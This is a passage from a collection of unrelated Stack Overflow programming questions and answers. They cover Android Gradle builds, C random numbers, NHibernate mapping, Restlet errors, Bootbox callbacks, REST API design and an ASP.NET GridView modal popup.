'com.android.support:appcompat-v7:23.0.0' compile 'com.vk:androidsdk:+' compile 'com.facebook.android:facebook-android-sdk:4.0.0' compile('vc908.stickers:stickerfactory:+') { transitive = true; } } </code></pre> <p>Working build.gradle in quickblox sample chat:</p> <pre><code> apply plugin: 'com.android.application' repositories { mavenCentral() maven { url 'http://maven.stickerpipe.com/artifactory/stickerfactory' } } android { compileSdkVersion rootProject.compileSdkVersion buildToolsVersion rootProject.buildToolsVersion sourceSets { main { manifest.srcFile 'AndroidManifest.xml' java.srcDirs = ['src'] res.srcDirs = ['res'] } } } dependencies { compile files(rootProject.core_jar_path, rootProject.chat_jar_path, rootProject.messages_jar_path) compile 'com.google.android.gms:play-services-gcm:7.5.0' compile 'com.android.support:support-v4:19.0.+' compile 'com.android.support:appcompat-v7:19.0.0' compile project(':pull-to-refresh') compile('vc908.stickers:stickerfactory:0.2.2@aar') { transitive = true; } } </code></pre> <p><strong>What I have tried:</strong></p> <ul> <li><p>clear, rebuild, recreate project</p></li> <li><p>change compile version of java to 1.7</p></li> <li><p>enable multiDexEnabled with big memory size allocation for multidex configuration</p></li> <li><p>delete appcompat and support dependencies</p></li> <li><p>changed version of stickerfactory to latest (":+")</p></li> </ul> <p>Nothing works.</p> <p><strong>The analogic problem is with quickblox jar libraries also!</strong> (all jar libs are taken from quickblox chat sample (jars directory))</p>
9571738	0	Picking random number between two points in C <p>I was wondering, is it possible to generate a random number between two limits in c. I.e. my program is set like this:</p> <pre><code>function x { generate random number; } while(1) { function x; delay } </code></pre> <p>so bascially I want a random number to be generated everytime the function is called , but the number has to be between, for example, 100 and 800</p> <p>I know there is a already made function called random and randmize in <code>stdlib.h</code> I just dont know how to create the upper and lower limits</p> <p>Thank you </p>
40665833	0	Siddhi logical pattern AND only works for a pair of events <p>I have been doing some tests using WSO2 Siddhi language and I came across something that I did no fully understand. It seems like a bug/limitation but I would like to hear your opinion/recommendations.</p> <ol> <li><p>Creating a chain of events using logical pattern. I tried to create a chain of 3 events connected by AND operator. Below is a very simple query I created:</p> <pre><code>from ea=event_a[ea.status == 1] and eb=event_b[eb.status == 2] and ec=event_c[ec.status == 3] select 'And_Test' as ID insert into outputStream; </code></pre></li> </ol> <p>When I try to test it using Siddhi Try it, it shows the following error message:</p> <blockquote> <p>You have an error in your SiddhiQL at line 10:1, extraneous input 'and' expecting {'[', '->', '#', SELECT, INSERT, DELETE, UPDATE, RETURN, OUTPUT, WITHIN}</p> </blockquote> <p>However, if I remove the third event from my query, it works fine. Below is the query that works fine:</p> <pre><code>from ea=event_a[ea.status == 1] and eb=event_b[eb.status == 2] select 'And_Test' as ID insert into outputStream; </code></pre> <p>It seems that I can only use AND for a pair of events. As I mentioned before, it seems like a bug/limitation. I tested it on both WSO2 CEP 4.1.0 and WSO2 CEP 4.2.0.</p>
4213041	0	 <p>The approach being described in the post you linked is to use the <code>WebBrowser</code> control's <code>InvokeScript</code> method to run some javascript. However the post appears to use a "cookies" collection which doesn't actually exist.</p> <pre><code> string cookie = myWebBrowser.InvokeScript("document.cookie") as string; </code></pre> <p>Now for the hard part the string you get contains all pertinent cookie name/value pairs for the page with the values still being Url encoded. You will need to parse the returned string for the value you need.</p> <p>See <a href="http://msdn.microsoft.com/en-us/library/ms533693%28v=VS.85%29.aspx" rel="nofollow">document.cookie property</a> documentation.</p> <p><strong>Edit</strong>:</p> <p>Looking at it fresh instead of relying on the post, <code>InvokeScript</code> invokes named function on the window of the host browser. Hence the page being displayed in the WebBrowser would itself need to include a function like:-</p> <pre><code> function getCookie() { return document.cookie; } </code></pre> <p>Then the <code>InvokeScript</code> would look like:-</p> <pre><code> string cookie = myWebBrowser.InvokeScript("getCookie"); </code></pre>
10157941	0	 <p>In 2006 I came up with some benchmarks comparing Python 2.4.3 running on an old laptop to ColdFusion 6.1 on a Solaris server. Python was 40-200 times faster than ColdFusion.</p> <p>Keep in mind this happened 6 years ago and times change. Plus I was using Python instead of Ruby.</p>
490096	0	How do I keep my team involved and motivated? <p>I am currently a grad student, but I was in the industry for a few years before going back to school. </p> <p>I am in a class which involves teams of 4 working on fairly ambitious projects. As a result of having been in the industry, I have a lot of "software engineering" experience my fellow teammates lack (they are using SVN for the first time this semester). They are all very good programmers; but they don't have a lot of experience in building "real stuff".</p> <p>Since I had a fairly concrete vision for a project, and my teammates did not, my idea is the one we will spend this semester working on. On top of that, as a result of my experience, plus the fact that I admittedly have a somewhat strong personality, I've become a de-facto team lead -- established weekly meeting times, assigned initial tasks, etc. </p> <p>I want to avoid the trap of being so forceful with my ideas for what we should be doing and how we should be doing it, that my teammates feel like they have no say and become uninvolved and detached. </p> <p>So here is the question:</p> <p>How can I keep my team of undisciplined but talented programmers motivated while enforcing basic best practices (version control, milestones, etc) and a coherent project vision?</p> <p><strong>Edit:</strong> Thanks to everyone who answered so far. I think I've overemphasized the "software engineering" aspect of things; I'm also looking for ideas for how to encourage my teammates to contribute to the design, and feel ownership in the project which is at the moment a little bit "<strong>The SquareCog</strong> (and friends) <strong>Show</strong>!"</p>
20311475	0	2 different UTM_source passing in a single link <p>I've always wondered what happens when 2 different utm_source are passed on in a link</p> <p><a href="http://example.com/?utm_source=" rel="nofollow">http://example.com/?utm_source=</a><strong>A</strong>&amp;utm_source=<strong>B</strong></p> <p>In this case, which source will be passed on?</p>
425691	0	 <p>You don't really need Unix skills to use Java, but if you do you'll have a good toolbox relevant for any kind of development. I certainly appreciate the ability to grep my entire source tree for files, use Perl for code generation and so forth. Even a simple matter of counting all lines of source code can be hard to do in a GUI only world. Knowing the basic Unix command line tools will make you a better developer imo. </p>
858794	0	 <p>The simplest thing to do would be to either strip out tags with a regex. Trouble is that you could do plenty of nasty things without script tags (e.g. imbed dodgy images, have links to other sites that have nasty Javascript) . Disabling HTML completely by convert the less than/greater than characters into their HTML entities forms (e.g. &lt;) could also be an option.</p> <p>If you want a more powerful solution, in the past I have used <a href="http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET" rel="nofollow noreferrer">AntiSamy</a> to sanitize incoming text so that it's safe for viewing.</p>
7839712	0	 <p>You can't. Unlike its Mac counterpart <code>WebView</code>, <code>UIWebView</code> has no API for creating web archives. It can display webarchives that have been created on the Mac though (e.g. using Save as... in Safari).</p>
2949221	0	How to find unmapped properties in a NHibernate mapped class? <p>I just had a NHibernate related problem where I forgot to map one property of a class.</p> <p>A very simplified example:</p> <pre><code>public class MyClass { public virtual int ID { get; set; } public virtual string SomeText { get; set; } public virtual int SomeNumber { get; set; } } </code></pre> <p>...and the mapping file:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;hibernate-mapping xmlns="urn:nhibernate-mapping-2.2" assembly="MyAssembly" namespace="MyAssembly.MyNamespace"&gt; &lt;class name="MyClass" table="SomeTable"&gt; &lt;property name="ID" /&gt; &lt;property name="SomeText" /&gt; &lt;/class&gt; &lt;/hibernate-mapping&gt; </code></pre> <p>In this simple example, you can see the problem at once:<br> there is a property named "SomeNumber" in the class, but not in the mapping file.<br> So NHibernate will not map it and it will always be zero.</p> <p>The real class had a lot more properties, so the problem was not as easy to see and it took me quite some time to figure out why SomeNumber always returned zero even though I was 100% sure that the value in the database was != zero.</p> <p><strong>So, here is my question:</strong> </p> <p>Is there some simple way to find this out via NHibernate?<br> Like a compiler warning when a class is mapped, but some of its properties are not.<br> Or some query that I can run that shows me unmapped properties in mapped classes...you get the idea.</p> <p>(Plus, it would be nice if I could exclude some legacy columns that I <em>really</em> don't want mapped.)</p> <p><strong>EDIT:</strong><br> Okay, I looked at everything you proposed and decided to go with the meta-data API...that looks the easiest to understand for me.<br> Now that I know what to search for, I found some examples which helped me to get started.<br> So far, I have this:</p> <pre><code>Type type = typeof(MyClass); IClassMetadata meta = MySessionFactory.GetClassMetadata(type); PropertyInfo[] infos = type.GetProperties(); foreach (PropertyInfo info in infos) { if (meta.PropertyNames.Contains(info.Name)) { Console.WriteLine("{0} is mapped!", info.Name); } else { Console.WriteLine("{0} is not mapped!", info.Name); } } </code></pre> <p>It nearly works, except one thing: IClassMetadata.PropertyNames returns the names of all the properties <strong>except</strong> the ID.<br> To get the ID, I have to use IClassMetadata.IdentifierPropertyName. </p> <p>Yes, I could save .PropertyNames in a new array, add .IdentifierPropertyName to it and search <em>that</em> array.<br> But this looks strange to me.<br> Is there no better way to get <strong>all</strong> mapped properties including the ID?</p>
30372135	0	Add buttons to UINavigationController subclass <p>I'm trying to create reusable subclass of <code>UINavigationController</code>. So here's my code : </p> <pre><code> @interface MainNavigationController : UINavigationController ... - (void)viewDidLoad { [super viewDidLoad]; self.navigationBar.barTintColor = primaryOrange; self.navigationBar.tintColor = white; self.navigationItem.leftBarButtonItem = [[UIBarButtonItem alloc] initWithImage:[UIImage imageNamed:@"search"] style:UIBarButtonItemStylePlain target:self action:nil]; self.navigationItem.rightBarButtonItem = [[UIBarButtonItem alloc] initWithImage:[UIImage imageNamed:@"menu"] style:UIBarButtonItemStylePlain target:self action:nil]; } </code></pre> <p>So the problem that the color of navigation bar is changing but the buttons they doesn't appears.<br /> What's I've missed here ? </p> <p><strong>Update</strong> I want to have the same NavigationController (button and color ...) for the NavigationController in my image : <img src="https://i.stack.imgur.com/HiOu8.png" alt="enter image description here"> </p> <p><strong>Update</strong> So I've subclasse my navugationController unn this way : </p> <pre><code>-(void)navigationController:(UINavigationController *)navigationController willShowViewController:(UIViewController *)viewController animated:(BOOL)animated{ viewController.navigationItem.leftBarButtonItem = [[UIBarButtonItem alloc] initWithImage:[UIImage imageNamed:@"search"] style:UIBarButtonItemStylePlain target:self action:nil]; viewController.navigationItem.rightBarButtonItem = [[UIBarButtonItem alloc] initWithImage:[UIImage imageNamed:@"menu"] style:UIBarButtonItemStylePlain target:self action:@selector(showMainMenu)]; } - (id)initWithRootViewController:(UIViewController *)rootViewController { self = [super initWithRootViewController:rootViewController]; if (self) { rootViewController.navigationItem.leftBarButtonItem = [[UIBarButtonItem alloc] initWithImage:[UIImage imageNamed:@"search"] style:UIBarButtonItemStylePlain target:self action:nil]; rootViewController.navigationItem.rightBarButtonItem = [[UIBarButtonItem alloc] initWithImage:[UIImage imageNamed:@"menu"] style:UIBarButtonItemStylePlain target:self action:@selector(showMainMenu)]; } return self; } </code></pre> <p>This work's but the only problem is that when I push a view instead of having back button on left I get Always the search icon, how to fix it (I want to have search button for parent on left , and back button for child view ) ?</p>
33985884	0	How to diagnose "org.restlet.data.Parameter cannot be cast to org.restlet.data.Header" error in Restlet 2.3.5? <p>I'm using Restlet 2.3.5 in my application. When the <code>GET</code> request handler of a certain server resource is invoked, I get the following error:</p> <pre><code>[10:26:04] [Restlet-860541310/WARN]: Nov 29, 2015 10:26:04 AM org.restlet.engine.adapter.ServerAdapter addResponseHeaders WARNING: Exception intercepted while adding the response headers java.lang.ClassCastException: org.restlet.data.Parameter cannot be cast to org.restlet.data.Header at org.restlet.engine.header.HeaderUtils.addExtensionHeaders(HeaderUtils.java:226) at org.restlet.engine.header.HeaderUtils.addResponseHeaders(HeaderUtils.java:653) at org.restlet.engine.adapter.ServerAdapter.addResponseHeaders(ServerAdapter.java:83) at org.restlet.engine.adapter.ServerAdapter.commit(ServerAdapter.java:184) at org.restlet.engine.adapter.HttpServerHelper.handle(HttpServerHelper.java:144) at org.restlet.engine.connector.HttpServerHelper$1.handle(HttpServerHelper.java:64) at com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:77) at sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:83) at com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:80) at sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:677) at com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:77) at sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:649) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) </code></pre> <p>The problem is that this exception is thrown outside of the code that I wrote (I added logging statements in my server resource and according to them, the exception is thrown somewhere else).</p> <p>As a result, I get 500 response (internal server error), even though my server resource sends correct data back to the client.</p> <p>How can I find out, what exactly is causing this error?</p>
16481613	0	BootBox JS for Twitter Bootstrap - how to pass data into the callback function? <p>JS/JQuery newbie here. I'm using BootBox for Twitter Bootstrap, and I'm trying to pass the value of the id attribute of an a element into the callback function:</p> <pre><code>&lt;a class="confirmdel" id="&lt;?= $folioid ?&gt;" href="#"&gt; Delete&lt;/a&gt; &lt;script&gt; $(document).on("click", ".confirmdel", function(e) { var folioid = ($(this).attr('id')); bootbox.dialog("Do you really want to delete this folio entry?", [{ "label" : "Yes", "class" : "btn-danger", "icon" : "icon-trash", "callback": function() { window.location.replace("deletefolio.php?folioid="+$folioid); } }, { "label" : "No", "class" : "btn", }]); }); &lt;/script&gt; </code></pre> <p>It seems i can't use $(this) inside the callback function because in there it doesn't refer to the a element but to the window instead, and I have no idea how to pass the variable into the callback from outside.</p> <p>Maybe I'm thinking about it the wrong way entirely.</p> <p>Any suggestions greatly appreciated!</p>
34671659	0	How to say to Phabricator to send mail directly? <p>We are using Phabricator for our projects but we have a problem with the mails. We received the mail only hours after the updates. It's kind of under productive sometime...</p> <p>How could I fix this? How could I say Phabricator to send the mail directly? I hardly find any information about the mail setting?</p> <p>When I execute the command </p> <p><code>bin/mail resend --id whateverid</code></p> <p>the mail is queued but after 20min I still didn't received the email.</p>
40502103	0	 <p>I think there is no need to use cursor here . first you have to select PERSON.ID of those rows only where we have CA in RentedhouseDetails like</p> <pre><code>select p.id from Person p JOIN RentedHousesDetail r ON p.ID=r.ID where r.HouseLocation='CA' </code></pre> <p>then insert all that record into CALIFORNIAHOUSE and STATUSGREEN table </p> <p>Like this</p> <pre><code> Insert into CALIFORNIAHOUSE select p.id from Person p JOIN RentedHousesDetail r ON p.ID=r.ID where r.HouseLocation='CA' </code></pre> <p>AND</p> <pre><code>Insert into STATUSGREEN select p.id from Person p JOIN RentedHousesDetail r ON p.ID=r.ID where r.HouseLocation='CA' </code></pre> <p>AND Finally Update table RentedHousesDetail where HouseLocation='CA' as 'NO'</p> <p>like this</p> <pre><code>update RentedHousesDetail set ISOK='NO' from Person p JOIN RentedHousesDetail r ON p.ID=r.ID where r.HouseLocation='CA' </code></pre>
37759739	0	Determine whether destination for file move is on same filesystem in C# <p>I have a Windows Forms application which uses <code>File.Move</code> to move files in response to user request. This is not an asynchronous method, but when the destination is on the same drive it happens almost instantly (I assume because it can just rewrite the header and not move anything). However, it blocks the application if the destination is <em>not</em> on the same drive. Not desirable.</p> <p>So naturally I thought about switching to async. It looks like the way to do this is to use file streams and use <code>Stream.CopyToAsync</code> before removing the original. That's fine, except if it <em>is</em> on the same drive, this is a lot of wasteful copying.</p> <p>Is there a reliable way to determine if a proposed destination for a file is on a different drive than that drive is currently stored on before deciding which operation to perform? I could obviously look at the drive letter, but that seems kind of hacky and I think there are some cases like junction points where it will not work correctly.</p> <p>Another possible choice is to use something like <code>Task.Run(() =&gt; File.Move(x))</code>, although I have a vaguely bad feeling about that.</p>
22452298	0	 <p>What about:</p> <pre><code>set.seed(12345) allocation &lt;- NULL block &lt;- sample(c(rep(1,4),rep(2,3)),7) for(i in 1:7){ tallocation &lt;- sample(c(rep(0,block[i]),rep(1,block[i]*2)), 3*block[i]) allocation &lt;- c(allocation, tallocation) } </code></pre>
40883207	0	 <p>Use <code>super()</code> as the first line inside your constructor for the reason as shared in an SO-answer here - <a href="http://stackoverflow.com/a/1168356/1746118">why-does-this-and-super-have-to-be-the-first-statement-in-a-constructor</a> and you can change your existing code as - </p> <pre><code>public Car(String name, int modelNo, int seatCap) { super(name, modelNo); this.seatCap = seatCap; } </code></pre>
16364265	0	Class loading in eclipse plugin <p>I made a <strong>eclipse plugin</strong> that acts on JavaProject. It needs access to information contained in the bytecode of the classes of the project and, therefore, I used a URLClassLoader (saying to it that the classes are in the "bin" folder of the project) to get the reference to classes and retrieve all the information I need . Unfortunately, when I call the method <code>loadClass("a certain class in JavaProject")</code> I get an error of this type:</p> <pre><code>org.eclipse.e4.core.di.InjectionException: java.lang.NoClassDefFoundError: javassist/bytecode/BadBytecode </code></pre> <p>I have found that errors of this kind are due to the fact that external libraries added to the JavaProject's <strong>BuildPath</strong> are not "known" by the classloader: classes of these libraries are used by JavaProject's classes </p> <p>In the previous case was used the <em>BadBytecode class</em> of library javassist in this statement of a class of JavaProject</p> <pre><code>public static void main(String[] args) throws NotFoundException, BadBytecode, IOException, CannotCompileException{ </code></pre> <p>So how do I make my plugin visible to the classes of external libraries imported into the java project?</p>
14989138	0	How can I prevent overlap of two "spanX" divs when shrinking the screen in Bootstrap? <p>I am using the <code>responsive</code> layout of Twitter Bootstrap 2.3. I have a <code>span9 row-fluid</code> div containing two <code>span4</code> divs.</p> <p>To test the fluidity of the screen, I'm shrinking the window. There comes a specific point at which the right <code>span4</code> overlaps with the left <code>span4</code>. If I keep shrinking the window, it will stack appropriately. But I want it to stack appropriately before overlapping. Is the functionality I want built into Bootstrap and I'm just not doing it right?</p> <p>Any help is appreciated of course!</p>
15843065	0	How can I render the triangle outside the container element? <p>I'm trying to build a menu with CSS. When the <code>li</code> element has a class of active, I want a triangle (of a specific size) to appear next to the container. Please see the following <a href="http://jsfiddle.net/hcabnettek/MeczJ/" rel="nofollow" title="js fiddle">http://jsfiddle.net/hcabnettek/MeczJ/</a></p> <p>As I increase the left property, the arrow goes to the end of the container, but slides behind it. I tried z-index and various other things but I can't seem to figure it out. </p> <p>Any help would really be appreciated. Thanks all!</p> <pre><code>&lt;nav&gt; &lt;ul class="nav main-nav"&gt; &lt;li class="active"&gt; &lt;a href="/home"&gt; &lt;i class="icon-home"&gt;&lt;/i&gt; &lt;h6&gt;Home&lt;/h6&gt; &lt;div class="items"&gt;&lt;/div&gt; &lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; </code></pre>
9960919	0	flowplayer 200 stream not found on firefox <p>Hello I'd like to use flowplayer on a website but I experienced that it is not relieable with my configurations yet.</p> <p>Using firefox I sometimes got the error 200 stream not found. It seemed as if the url of the clip has not been passed to the player.</p> <p>using seamonkey the video was played with the configuration in the example bellow all the time propperly. </p> <p>using epiphany i only get a black screen which might depend on my css. </p> <p>but now the real problem and question: why do I get the 200 stream not found problem on firefox and how to get rid of it 100% do you have it too?</p> <p>here is a demo page: <a href="http://lehrer-beraten-eltern.de/debug" rel="nofollow">http://lehrer-beraten-eltern.de/debug</a></p>
134137	0	 <p>Personally I would always run some form of sanitation on the data first as you can never trust user input, however when using placeholders / parameter binding the inputted data is sent to the server separately to the sql statement and then binded together. The key here is that this binds the provided data to a specific type and a specific use and eliminates any opportunity to change the logic of the SQL statement.</p>
5438386	0	What to do about huge resources in REST API <p>I am bolting a REST interface on to an existing application and I'm curious about what the most appropriate solution is to deal with resources that would return an exorbitant amount of data if they were to be retrieved.</p> <p>The application is an existing timesheet system and one of the resources is a set of a user's "Time Slots". An example URI for these resources is:</p> <pre><code>/users/44/timeslots/ </code></pre> <p>I have read a lot of questions that relate to how to provide the filtering for this resource to retrieve a subset and I already have a solution for that. </p> <p>I want to know how (or if) I should deal with the situation that issuing a GET on the URI above would return megabytes of data from tens or hundreds of thousands of rows and would take a fair amount of server resource to actually respond in the first place. </p> <ul> <li><strong>Is there an HTTP response that is used by convention in these situations?</strong><br> I found HTTP code 413 which relates to a Request entity that is too large, but not one that would be appropriate for when the Response entity would be too large</li> <li><strong>Is there an alternative convention for limiting the response or telling the client that this is a silly request?</strong></li> <li><strong>Should I simply let the server comply with this massive request?</strong></li> </ul> <p><strong>EDIT:</strong> To be clear, I have filtering and splitting of the resource implemented and have considered pagination on other large collection resources. I want to respond appropriately to requests which don't make sense (and have obviously been requested by a client constructing a URI).</p>
32306023	0	 <p>According to this answer:<br> <a href="http://stackoverflow.com/a/2010948/4022252">Storing Objects in HTML5 localStorage</a> </p> <p>localStorage is made to save String key-value-pairs, <strong>only</strong>! </p> <p>null is an empty Object. </p> <p>So this is not a bug, it is actually the expected behaviour.</p>
24031274	0	 <p>Assuming, a valid JSON string, you would do:</p> <pre><code>$data = json_decode($json_string, true); var_dump($data['data']); </code></pre>
18793992	0	 <p>This is valid Python syntax when it is located in a module, but in the interactive interpreter you need to separate blocks of code with a blank line.</p> <p>The handy rule of thumb here is that you can't start a new block with <code>if</code>, <code>def</code>, <code>class</code>, <code>for</code>, <code>while</code>, <code>with</code>, or <code>try</code> unless you have the <code>&gt;&gt;&gt;</code> prompt.</p>
22872703	0	 <p>Just try changing <code>port</code> in </p> <pre><code>connect: { options: { port: 9000, // Change this to '0.0.0.0' to access the server from outside. hostname: 'localhost', livereload: 35729 }, </code></pre> <p>I used port 8999 instead of 9000 and it simply worked.</p> <p><strong>Edit</strong>: I forgot to mention that I was receiving the very same error as you when running <code>grunt server</code>. I'm on Windows 7.</p>
33677008	0	How can i check that 2 dates between period(month) <p>i have 2 Date (<code>start_date</code>, <code>end_date</code>) with yyyy-MM-dd format and i want to check that if the month between in december 01 - march 31 then do something. For example my <code>start_date</code> is 2015-12-01 or 2016-02-01 and <code>end_date</code> 2016-02-12 then write something. I have this</p> <pre><code>public void meethod(){ DateFormat df = new SimpleDateFormat("yyyy-MM-dd"); Date startDate = null; Date endDate = null; try { startDate = df.parse(tf_start_date.getText()); endDate = df.parse(tf_end_date.getText()); } catch (ParseException e) { e.printStackTrace(); } if( /* what goes here? */ ) { System.out.println("its between december-march"); } else { } } </code></pre> <p><code>tf_start_date</code> and <code>tf_end_date</code> is a TextField and the value of TextFields like 2015-02-03</p>
9123154	0	 <p>The only buffer you ever created for holding strings was <code>t</code>, which you made at the top of your while loop:</p> <pre><code>char t [KMAX]; </code></pre> <p>So all of your <code>char *</code> pointers will be pointing somewhere into that buffer, but that's a problem because you change the contents buffer every time you call <code>fgets</code>. After you are done reading the input, the only text you actually have stored in RAM will be the data from the last call to <code>fgets</code>.</p> <p>You could change the <code>add</code> function so it allocates new buffers and copies the strings to them. There is already a function that does that for you and it is called <a href="http://linux.die.net/man/3/strdup" rel="nofollow">strdup</a>. Something like this would work (though I have not tested it):</p> <pre><code>void add(struct info **x, char * text, int line_no, char * file) { ... newInfo = malloc(sizeof(struct info)); newInfo-&gt;next = NULL; newInfo-&gt;grepstring = strdup(text); newInfo-&gt;line_no = line_no; newInfo-&gt;file = strdup(file); ... } </code></pre>
15622127	0	ODBC Linked Tables Convert Tinyint Fields to Yes/No <p>I'm in the process of converting an Access .ADP project to a .ACCDB with linked tables. I know that a big issue when working with a SQL Server backend is the use of nullable <code>bit</code> fields, since Access's <code>Yes/No</code> data type doesn't allow for nulls. So I converted all of my nullable <code>bit</code> fields to <code>tinyint</code>. However, Access is still mapping these fields as <code>Yes/No</code>, and converting all of my nulls to zeroes.</p> <p>Does anyone have any advice for how to get it to stop this? I've double-checked that the fields in question are set to <code>tinyint</code>, and querying in SSMS I see that the vast majority of the records are null. But all I can think to do is refresh or remove and recreate the linked table, and that's not fixing the problem.</p>
3887137	0	 <p>You can just add the link inside the title attribute:</p> <pre><code>&lt;a href="myimage.jpg" rel="examples" title="Sandra - &lt;a href='sandra.htm'&gt;Go to her page&lt;/a&gt;"&gt;Sandra&lt;/a&gt; </code></pre> <p>Note the single quotes inside the title attribute, or you could use escaped quotes.</p>
3222304	0	 <p>Cookies are managed by the browser. You have no direct access to the underlying file. It may not even saved in a file.</p>
16619577	0	 <p>The <a href="http://developer.android.com/reference/android/content/pm/ApplicationInfo.html#sourceDir" rel="nofollow">ApplicationInfo</a> class is your answer:</p> <pre><code>PackageManager pm = getPackageManager(); for (ApplicationInfo app : pm.getInstalledApplications(0)) { if (app.packageName.equals(appPackage) { Log.i( app.sourceDir); } } </code></pre> <p>Hope that sorts you.</p>
18834535	0	Play sound on mobile web with 3g connection <p>I have a website which have a few sound files to be played. </p> <p><strong>What happens:</strong></p> <ul> <li>If I open the site from my phone with a Wifi connection, it works fine. </li> <li>If I open the site from my computer with the 3g connection provided with my phone it works too, so it's not a problem with connection.</li> </ul> <p><strong>What I know:</strong></p> <p>I've tried my site with Dolphin, Firefox and Opera and it is not working.</p> <p>I've tried and I can hear music from grooveshark and see videos from youtube on those mobile browsers.</p> <p><strong>Then:</strong></p> <p>Is there any way to get over this restriction? </p> <p><strong>Edit:</strong></p> <pre><code>&lt;div class="div1"&gt; &lt;img id="segundoFondo" src="../images/audio_fondo1.png" style="width:100%;border:0px;margin:0px;padding:0px;" /&gt; &lt;div class="div2"&gt; &lt;a class="playback" href="#"&gt; &lt;img id="play" src="../images/audio_botplay_a.png" /&gt; &lt;/a&gt; &lt;a class="stopback" href="#"&gt; &lt;img id="stop" src="../images/audio_botstop_a.png" /&gt; &lt;/a&gt; &lt;/div&gt; &lt;audio id="calle13"&gt; &lt;source src="../audio/calle13.mp3" type="audio/mpeg"&gt; Your browser does not support the audio element. &lt;/audio&gt; &lt;/div&gt; </code></pre> <p>Thanks in advance.</p>
5268037	0	 <p>Windows scripting host is not really flexible enough to do this, so you would have to come up with some sort of hack:</p> <ul> <li>Create a symlink from %windir%\system32\config\systemprofile\?path to itunes library? to your users library (iTunes is probably not designed to handle this and so it might not work or could break stuff)</li> <li>Since you are running as SYSTEM you have a lot of power, you could schedule a task that runs your script with a special parameter as yourself and then control iTunes</li> </ul>
39694307	0	Gridview Could not found control for modalpopupextender <p>I have a gridview with column "View" ID= "lnkViewContact". On click of this link signup modalpopupextender will be displayed. This popup is similar for all the rows. But when I am running it the error I am getting is "Could not found control lnkViewContact". How it can be resolved. one alternative is by using Onclick event on link click but I do not want to do a postback for opening the Popupextender. Below is my code:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code> &lt;asp:UpdatePanel ID="UpdatePanel1" runat="server" UpdateMode="Conditional"&gt; &lt;ContentTemplate&gt; &lt;asp:Panel ID="pnlNoData" runat="server" align="center" Visible="false" Style="height: 300px; width: auto;"&gt; &lt;h1 style="font-variant: normal; font-family: Times New Roman; font-size: 1.8em; margin-left: 15px; font-weight: lighter; color: Green; margin-top: 100px;"&gt; Refine your search.&lt;/h1&gt; &lt;h1 style="font-variant: normal; font-family: Times New Roman; font-size: 1.8em; margin-left: 15px; font-weight: lighter; color: Green; margin-left: 100px; margin-right: 100px;"&gt; Not finding suitable candidates. &lt;/h1&gt; &lt;cc1:ModalPopupExtender ID="mp3" runat="server" PopupControlID="pnlJobPost" BehaviorID="bvJobPost" TargetControlID="lnkPostJobReq" BackgroundCssClass="mBackground" CancelControlID="btnClose"&gt; &lt;/cc1:ModalPopupExtender&gt; &lt;asp:LinkButton ID="lnkPostJobSignUp" Text="Sign Up and Post Job" Font-Size="Medium" runat="server" OnClick="SignUp" Visible="false"&gt;&lt;/asp:LinkButton&gt; &lt;asp:LinkButton ID="lnkPostJobReq" Text="Post Job Requirement" Font-Size="Medium" runat="server"&gt;&lt;/asp:LinkButton&gt; &lt;/asp:Panel&gt; &lt;asp:GridView ID="grdSearchResult" runat="server" DataKeyNames="SeekerEmail_Id, Extension" OnRowDataBound="OnRowDataBound" AutoGenerateColumns="False" BorderWidth="1px" BackColor="White" CellPadding="5" BorderStyle="None" BorderColor="Gray" GridLines="Both" Width="100%"&gt; &lt;FooterStyle ForeColor="Black" BackColor="White"&gt;&lt;/FooterStyle&gt; &lt;PagerStyle ForeColor="Black" HorizontalAlign="Center" BackColor="White"&gt;&lt;/PagerStyle&gt; &lt;HeaderStyle ForeColor="White" Font-Bold="True" BackColor="Green"&gt;&lt;/HeaderStyle&gt; &lt;Columns&gt; &lt;asp:BoundField HeaderText="Job Skills" DataField="Primary_Skill" SortExpression="Primary_Skill" ItemStyle-Width="35%" ItemStyle-HorizontalAlign="Center" ItemStyle-Wrap="true" ItemStyle-CssClass="grdSearchResultbreakword"&gt;&lt;/asp:BoundField&gt; &lt;asp:BoundField HeaderText="Resume Title" DataField="Resume_Title" SortExpression="Resume_Title" ItemStyle-HorizontalAlign="Center" ItemStyle-Wrap="true" ItemStyle-Width="30%" ItemStyle-CssClass="grdSearchResultbreakword"&gt;&lt;/asp:BoundField&gt; &lt;asp:BoundField HeaderText="Exp (Years)" DataField="Experience" SortExpression="Experience" ItemStyle-HorizontalAlign="Center"&gt;&lt;/asp:BoundField&gt; &lt;asp:TemplateField HeaderText="Contact Details Email/Mobile" ItemStyle-HorizontalAlign="Center" ItemStyle-Width="12%"&gt; &lt;ItemTemplate&gt; &lt;asp:LinkButton ID="lnkViewContact" Text="View" runat="server"&gt;&lt;/asp:LinkButton&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;asp:TemplateField HeaderText="Contact Details Email/Mobile" ItemStyle-HorizontalAlign="Center" ItemStyle-Width="15%"&gt; &lt;ItemTemplate&gt; &lt;asp:Label ID="lblContact" ForeColor="DarkOrange" runat="server" Text='&lt;%# Eval("SeekerEmail_Id").ToString() +" / "+ Eval("Contact_Number").ToString() %&gt;' Style="word-wrap: normal; word-break: break-all; cursor: default;"&gt;&lt;/asp:Label&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;asp:TemplateField HeaderText="Download Resume" ItemStyle-HorizontalAlign="Center"&gt; &lt;ItemTemplate&gt; &lt;asp:LinkButton ID="lnkDown" Text="Download" runat="server" OnClick="SignUp"&gt;&lt;/asp:LinkButton&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;/Columns&gt; &lt;SelectedRowStyle ForeColor="White" Font-Bold="True" 